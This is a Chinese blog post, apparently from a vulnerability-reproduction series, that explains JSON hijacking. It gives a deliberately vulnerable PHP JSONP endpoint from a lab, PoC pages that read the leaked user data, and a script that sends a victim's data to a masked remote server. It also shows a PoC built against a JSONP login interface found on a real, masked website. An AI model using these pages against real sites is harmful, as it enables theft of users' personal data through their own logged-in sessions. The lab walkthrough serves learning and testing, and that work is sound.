json劫持学习

. iDea.

已于 2022-06-24 17:37:44 修改

阅读量741

点赞数 1

CC 4.0 BY-SA版权

分类专栏：漏洞复现文章标签： json php

于 2021-10-12 22:15:51 首次发布

本文链接：https://blog.csdn.net/qq_46804551/article/details/120590605

漏洞复现专栏收录该内容

18 篇文章

订阅专栏

本文介绍了JSON劫持的概念，这是一种利用类似CSRF的手段获取敏感数据的攻击方式。当Web应用以JSON形式返回敏感数据并仅依赖cookie验证时，攻击者可能发起攻击。文章通过靶场练习展示了如何利用POC获取JSON信息，并分享了实际测试中遇到的一个接口案例。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

JSON劫持

json劫持攻击又为”JSON Hijacking”，攻击过程有点类似于csrf，只不过csrf只管发送http请求，但是json-hijack的目的是获取敏感数据。

一些web应用会把一些敏感数据以json的形式返回到前端，如果仅仅通过cookie来判断请求是否合法，那么就可以利用类似csrf的手段，向目标服务器发送请求，以获得敏感数据。

靶场练习

在这里插入图片描述
json漏洞代码

<?php
	include "../class/function.class.php";
	$reqMethod = "GET";
	$reqValue = "callback";
	$p = new Func($reqMethod, $reqValue);
	$info = array('username' => 'Vulkey_Chen', 'mobilephone' => '13188888888', 'email' => 'admin@gh0st.cn', 'address' => '中华人民共和国', 'sex' => 'Cool Man');
	if(!@$_GET['callback']){
		echo $p -> con_function('json_encode',$info);
	}else{
		$callback = htmlspecialchars($_GET['callback']);
		echo "{$callback}(" . $p -> con_function('json_encode',$info) . ")";
	}
?>

POC

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>json劫持</title>
</head>
<body>
    <script>
    function vulkey(data)
    {
        alert(JSON.stringify(data));
        }
        </script>
<script src="http://localhost/DoraBox-master/csrf/jsonp.php?callback=vulkey">
</script>
</body>
</html>

将上面poc保存成html文件，点击
在这里插入图片描述
可以看到成功将json信息带出来了
如下poc可以将json信息发送到远端服务器

<html>
<head>
    <title>txf</title>
<script>
	var xmlhttp;
    function txf(a)
    {
    xmlhttp=new XMLHttpRequest()
	var x="http://***.***.***/json.php?name="+a.data.name;
	xmlhttp.open("GET", x, true);
	xmlhttp.send();
	}
</script>>
<script src=http://***.***.***?callback=txf></script>
</head>
</html>

实中的一次测试

发现一接口
http://******.com/klogin/request/login.ashx?act=json&jsonp=showUser&jsoncallback=
在这里插入图片描述
构造poc

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>json劫持</title>
</head>
<body>
    <script>
    function v(data)
    {
        alert(JSON.stringify(data));
        }
        </script>
<script src="http://****.com/klogin/request/login.ashx?act=json&jsonp=v">
</script>
</body>
</html>

在这里插入图片描述